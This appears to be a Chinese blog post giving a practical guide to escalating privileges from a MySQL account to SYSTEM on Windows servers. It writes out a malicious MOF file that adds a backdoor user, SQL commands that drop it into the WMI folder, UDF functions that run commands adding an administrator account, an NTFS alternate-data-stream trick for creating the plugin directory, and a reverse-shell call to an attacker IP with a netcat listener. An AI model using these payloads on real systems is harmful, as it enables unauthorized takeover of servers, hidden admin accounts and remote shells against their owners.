mysql ntfs 提权 (errcode: 22)_mysql提权总结 - osc_cveqtg0x的个人空间 - OSCHINA - 中文开源技术交流社区...

一、mof提权

windows管理规范提供了以下三种方法编译到WMI存储库的托管对象格式(MOF)文件:

1、运行MOF文件指定为命令行参数讲Mofcomp.exe文件。

2、使用IMofCompiler接口和$CompileFile方法。

3、拖放到%SystemRoot%\System32\Wbem\MOF文件夹的MOF文件。

Micrsoft建议您到存储库编译MOF文件使用前两种方法。也就是运行Mofcomp.exe文件或使用IMofCompiler:CompileFile方法。

第三种方法仅为后兼容性与早期版本的WMI提供,并因为此功能可能不会提供在将来的版本。

具体到mysql提权中,我们该怎么利用?

1、找一个可写目录上传mof文件,这里我们上传到了C:/wmpub/nullevt.mof,代码如下:

其中第18行,上传前请自己更改。

1 #pragma namespace("\\\\.\\root\\subscription")

2

3 instance of __EventFilter as$EventFilter4 {5 EventNamespace = "Root\\Cimv2";6 Name = "filtP2";7 Query = "Select * From __InstanceModificationEvent"

8 "Where TargetInstance Isa \"Win32_LocalTime\""

9 "And TargetInstance.Second = 5";10 QueryLanguage = "WQL";11 };12

13 instance of ActiveScriptEventConsumer as$Consumer14 {15 Name = "consPCSV2";16 ScriptingEngine = "JScript";17 ScriptText =

18 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";19 };20

21 instance of __FilterToConsumerBinding22 {23 Consumer =$Consumer;24 Filter =$EventFilter;25 };

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

1 select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

执行成功后,即可添加一个普通用户,然后可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接就可以了。

二、利用UDF提权 功能:利用mysql自定义函数功能,将mysql的账号转化为system权限。 适用场景:1、目标系统是windows(win2000, XP,Win2003);2、拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限和抛弃函数。 3、首先判断mysql版本,如果大于5.1的话,就直接上传udf.dll到MySQL\Lib\Plugin\文件夹下,一般Lib、Plugin文件夹需要手工建立,mysql路径可以用select @@datadir语句找出。 4、直接执行create function sys_eval returns string soname 'udf.dll',若成功则可直接执行命令。

udf提权也是最常见的提权方式。但是往往再执行过程中老是遇到"Can't open shared library"的情况,这里可以利用NTFS ADS流来解决这个问题。

1、最常见的是直接使用udf.php此类的工具来执行udf提权。

连接mysql以后,先导出udf.dll到c:\windows\system32目录下。

2、创建相应的函数并执行命令,具体如下:

1 create function cmdshell returns string soname 'udf.dll';2 select cmdshell('net user waitalone waitalone.cn /add');3 select cmdshell('net localgroup administrators waitalone /add');4 drop functioncmdshell; 删除函数5 delete from mysql.func where name='cmdshell' 删除函数

3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默默情况下

plugin不存在,怎么办?还好有大牛研究出利用NTFS ADS流来创建文件夹的方法:

select @@basedir;//查找到mysql的目录select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';//利用NTFS ADS创建lib目录select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

执行成功以后再进行导出即可。

三、反弹端口连接提权

假设我们扫到一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法getshell,这时我们怎么办?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。(mysql.txt暂时没有)

mysql.exe -h 172.16.10.11 -uroot -p

Enter password:

mysql> \. c:\mysql.txt

mysql>select backshell("YourIP",2010);

2、本地监听你反弹的端口

nc.exe -vv -l -p 2010

成功后,你将获得一个system权限的cmdshell,其实这个也是利用UFDF提权。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值